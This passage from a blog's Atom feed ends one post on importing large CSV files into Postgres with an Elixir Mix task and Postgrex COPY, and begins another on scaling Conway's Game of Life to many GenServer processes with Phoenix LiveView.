&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_link&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;transaction&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;stream&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;          &lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;stream&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;            &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;            &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;COPY locations(name,latitude,longitude) FROM STDIN CSV HEADER DELIMITER &amp;#39;,&amp;#39;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;            &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;          &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;        &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;into&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;stream!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:trim_bom&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;stream&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;timeout: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:infinity&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;Mix.Task&lt;/code&gt; receives a path to the CSV file and uses your application&apos;s &lt;code&gt;Postgrex&lt;/code&gt;-connection to execute the &lt;code&gt;COPY&lt;/code&gt;-command. It creates a new connection to Postgres using &lt;code&gt;Postgrex.start_link/1&lt;/code&gt; and streams the CSV file through the connection using &lt;code&gt;File.stream!/2&lt;/code&gt;. We set the &lt;code&gt;timeout&lt;/code&gt; to &lt;code&gt;:infinity&lt;/code&gt;, because otherwise the import transaction might time out if it takes longer than 15 seconds, which is the default timeout. When we create the &lt;code&gt;File.stream!/2&lt;/code&gt; we use the &lt;code&gt;:trim_bom&lt;/code&gt; option. This option instructs the &lt;code&gt;File&lt;/code&gt;-reader to remove any &lt;a href=&quot;https://hexdocs.pm/elixir/1.13/File.html#stream!/3-byte-order-marks&quot;&gt;byte order marks&lt;/a&gt;. These &lt;a href=&quot;https://en.wikipedia.org/wiki/Byte_order_mark&quot;&gt;magic numbers&lt;/a&gt; give meta-data about your encoding and stream readiness which we don&apos;t want to import into our database. That&apos;s why we remove them while streaming the data.&lt;/p&gt;
&lt;p&gt;Now, we can almost import the data. As a last step, make sure that your &lt;code&gt;Ecto.Repo&lt;/code&gt; connection is properly configured in your application. This can look like the following:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/dev.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;username: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;postgres&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;password: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;postgres&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;hostname: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;localhost&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;database: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;locations_dev&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;pool_size: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or, if you want to connect using a URL instead:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/runtime.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;url: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;DATABASE_URL&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;pool_size: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you configured your &lt;code&gt;Ecto.Repo&lt;/code&gt; connection, let&apos;s try to import the data with:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;import_data&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;./relative-or-absolute-path-to-your-file/data.csv&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&apos;s it! Now, you can import large CSVs directly into your database using a &lt;code&gt;Mix.Task&lt;/code&gt; in just a matter of seconds! Amazing! :)&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/import-csv-into-postgres"/>
    <id>https://peterullrich.com/import-csv-into-postgres</id>
    <title>Import a CSV into Postgres using Elixir</title>
    <updated>2022-07-10T11:01:35Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;I decided to play around with &lt;a href=&quot;https://serokell.io/blog/elixir-otp-guide&quot;&gt;OTP&lt;/a&gt; recently. It is the core of the Elixir language, but I rarely use everything it has to offer. So, I decided on coding &lt;a href=&quot;https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life&quot;&gt;Conway&apos;s Game of Life&lt;/a&gt; and made &lt;code&gt;every cell its own GenServer&lt;/code&gt;. That means that every cell has its own &lt;a href=&quot;https://elixir-lang.org/getting-started/processes.html#:~:text=In%20Elixir%2C%20all%20code%20runs,distributed%20and%20fault%2Dtolerant%20programs.&quot;&gt;Erlang process&lt;/a&gt;. &lt;code&gt;But why?&lt;/code&gt; you might ask. Well, because ... why not?! 😄&lt;/p&gt;
&lt;p&gt;It took my three attempts to build a correctly running Game of Life since debugging distributed systems is &lt;strong&gt;HARD&lt;/strong&gt;. In the first two attempts, I wrote zero tests and debugged the game mechanics by printing the game state after every round. &lt;strong&gt;That was a bad idea&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Cells weren&apos;t spawning when they were supposed to. Living cells weren&apos;t dying, although they should. I started logging every cell state, but that only increased the lines printed and didn&apos;t lead to significant breakthroughs. I tinkered around for a few days but gave up eventually since it was hard to identify bugs and even harder to fix them.&lt;/p&gt;
&lt;p&gt;On my final attempt, I decided to go down the TDD road, but not too strictly. Sometimes I wrote the test first and then the code. Sometimes I did the opposite. What mattered was that eventually, I had every case of the game tested and working correctly. I broke down the game mechanics into smaller steps and only tested those, like: &lt;code&gt;A cell dies if it does not have three alive neighbors.&lt;/code&gt; or &lt;code&gt;A cell notifies all its neighbors that it is alive&lt;/code&gt;. The tests helped me get the game mechanics right on the lowest levels. Then, I put the pieces together, and the game JustWorked™! I previously spent days fixing the issues, but this time, it only took me 2 hours to get the game working correctly. Go tests!&lt;/p&gt;
&lt;p&gt;However, this post isn&apos;t about TDD. It is about the decisions I made and performance tweaks I used to build Conway&apos;s Game of Life and &lt;strong&gt;scale it to 100.000 erlang processes&lt;/strong&gt;. I won&apos;t show the actual code since the code wasn&apos;t the problem. It was the &lt;strong&gt;how&lt;/strong&gt; to write it that mattered. Therefore, I will rather describe key findings and highlight certain decisions instead of showing you raw code. You can always check out the code on &lt;a href=&quot;https://github.com/PJUllrich/PeterAndCode/tree/main/game_of_life&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#enough-talk-gimme-the-juice&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;enough-talk-gimme-the-juice&quot;&gt;&lt;/a&gt;Enough talk. Gimme the juice.&lt;/h2&gt;
&lt;p&gt;Let&apos;s first talk about the architecture of the project. I decided on using a single LiveView (&lt;a href=&quot;https://github.com/PJUllrich/PeterAndCode/blob/main/game_of_life/lib/game_of_life_web/live/page_live.ex&quot;&gt;GitHub&lt;/a&gt;) to manage a single game. It allowed me to start and stop a game without interfering with other games played in parallel. The LiveView is responsible to start and stop all &lt;code&gt;Cell&lt;/code&gt;-GenServers and update the UI.&lt;/p&gt;
&lt;p&gt;The idea was to let the &lt;code&gt;Cell&lt;/code&gt;-GenServers manage their own state and update their UI representation (their &quot;UI-Cell&quot;) through the LiveView. They also needed to communicate with their neighbors to count the number of alive cells in their vicinity. I used direct messaging over PubSub for this and will explain why later on.&lt;/p&gt;
&lt;p&gt;I used a &lt;code&gt;tick/tock&lt;/code&gt;-approach to update the game. A game round would start with the LiveView sending a &lt;code&gt;:tick&lt;/code&gt;-message to all cells. The cells would then notify their neighbors if they were alive. Each cell would use these messages to count its alive neighbors. After a while, the LiveView would send a &lt;code&gt;:tock&lt;/code&gt;-message and each cell would look at how many alive neighbors it has and update its &lt;code&gt;alive?&lt;/code&gt;-state based on the Game of Life rules. In short, an alive cell with two or three live neighbors stays alive, otherwise it dies. A dead cell with three live neighbors becomes alive.&lt;/p&gt;
&lt;p&gt;If a cell changed its &lt;code&gt;alive?&lt;/code&gt;-state, it would send a message to the LiveView with its coordinates on the game board and the new &lt;code&gt;alive?&lt;/code&gt;-state. The LiveView collected all these updates in a &lt;code&gt;staging_grid&lt;/code&gt; until the next &lt;code&gt;:tick&lt;/code&gt; message. By keeping the updates in a temporary variable, I avoided sending the entire game state to the UI whenever a cell notified the LiveView. The game round ended with the next &lt;code&gt;:tick&lt;/code&gt;-message at which point the LiveView would update the game board with the &lt;code&gt;staging_grid&lt;/code&gt; version.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem-with-livecomponents&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem-with-livecomponents&quot;&gt;&lt;/a&gt;The problem with LiveComponents&lt;/h2&gt;
&lt;p&gt;I first used &lt;code&gt;LiveComponents&lt;/code&gt; to represent the cells in the UI with one LiveComponent per cell. However, that turned out to slow down the updates of the game board tremendously. Have a look at how slow the board builds up when the update messages are sent separately for every cell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/game_of_life/live-components.gif&quot; alt=&quot;The UI which updates very slowly. The UI builds up row-by-row from top to bottom. It is not instantaneous.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It took around 30 seconds to update the board, which was not feasible given that the board would have to update roughly twice per second. I tested sending the entire game state in a single message for every update. I discuss how I optimized the payload and found a weird update lag with &lt;code&gt;morphdom&lt;/code&gt; below. When I sent the entire game state, the board updated almost instantaneously:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/game_of_life/no-lag.gif&quot; alt=&quot;The UI which updates quickly now. The UI updates at once.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I removed the LiveComponents and rather rendered the entire UI through the LiveView (&lt;a href=&quot;https://github.com/PJUllrich/PeterAndCode/blob/main/game_of_life/lib/game_of_life_web/live/page_live.html.heex&quot;&gt;GitHub&lt;/a&gt;). Here&apos;s a representation of the previous and final architecture:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/game_of_life/gameoflife.svg&quot; alt=&quot;A diagram of the previous and final architecture. Previously, the LiveView created on LiveComponent per Cell, but in the final architecture, it only creates on table cell per cell.&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#communication-between-cell-processes&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;communication-between-cell-processes&quot;&gt;&lt;/a&gt;Communication between Cell Processes&lt;/h2&gt;
&lt;p&gt;I decided on using direct messaging for this communication rather than &lt;code&gt;PubSub&lt;/code&gt;. Using PubSub, I had to create &lt;code&gt;100.000&lt;/code&gt; PubSub topics, one for each cell, which didn&apos;t seem efficient to me. Instead, I named every cell process deterministically with the formula: &lt;code&gt;#&amp;lbrace;lv_pid&amp;rbrace;-#&amp;lbrace;row&amp;rbrace;-#&amp;lbrace;col&amp;rbrace;&lt;/code&gt; where &lt;code&gt;col&lt;/code&gt; and &lt;code&gt;row&lt;/code&gt; are the &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; coordinates of the cell on the game board. &lt;code&gt;lv_pid&lt;/code&gt; is the PID of the LiveView which spawned them. The deterministic naming scheme enabled me to send messages to cells without looking up their PID every time.&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;lv_pid&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;#PID&lt;0.444.0&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;cell&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;GenServer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_link&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Cell&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;lv_pid: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;lv_pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;row: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;col: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;#PID&lt;0.123.0&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;process_name&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;lv_pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;-1-2&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&quot;&lt;span style=&quot;color: #8b949e;&quot;&gt;#PID&lt;0.444.0&gt;-1-2&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;iex&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;process_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:hello_there&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:hello_back&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;iex&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;cell&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:hello_there&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:hello_back&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using the deterministic naming scheme, cells could easily send messages to their neighbors by generating their &lt;code&gt;process_name&lt;/code&gt; as shown above. That meant that cells didn&apos;t need to keep track of the PIDs of their neighbors, which removed a lot of complexity. Since the PID of the LiveView would always be unique and that the cells and their names were removed automatically when a LiveView stops, there could be no collision between cell process names. You can read more about process name registration &lt;a href=&quot;https://hexdocs.pm/elixir/1.12/GenServer.html#module-name-registration&quot;&gt;here&lt;/a&gt;. You can find the &lt;code&gt;Cell&lt;/code&gt;-Module &lt;a href=&quot;https://github.com/PJUllrich/PeterAndCode/blob/main/game_of_life/lib/game_of_life/cell.ex&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#communication-between-cells-and-ui&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;communication-between-cells-and-ui&quot;&gt;&lt;/a&gt;Communication between Cells and UI&lt;/h2&gt;
&lt;p&gt;Since I already gave every cell the PID of the LiveView for the process name generation, it was trivial to send UI updates to the LiveView. Whenever the cell &lt;code&gt;alive?&lt;/code&gt;-state changed, it sent a &lt;code&gt;:set_alive&lt;/code&gt;-message to the LiveView. The LiveView would collect the &lt;code&gt;alive?&lt;/code&gt;-changes in a &lt;code&gt;staging_grid&lt;/code&gt; until the end of the game round. At that moment, it overwrote the game board &lt;code&gt;grid&lt;/code&gt; with the &lt;code&gt;staging_grid&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The update message containing the game state was significant in size. For only 10.000 processes, every message was around &lt;code&gt;400kb&lt;/code&gt;. I significantly decreased the payload with only a few steps. First, this was how I represented the cells at first:&lt;/p&gt;
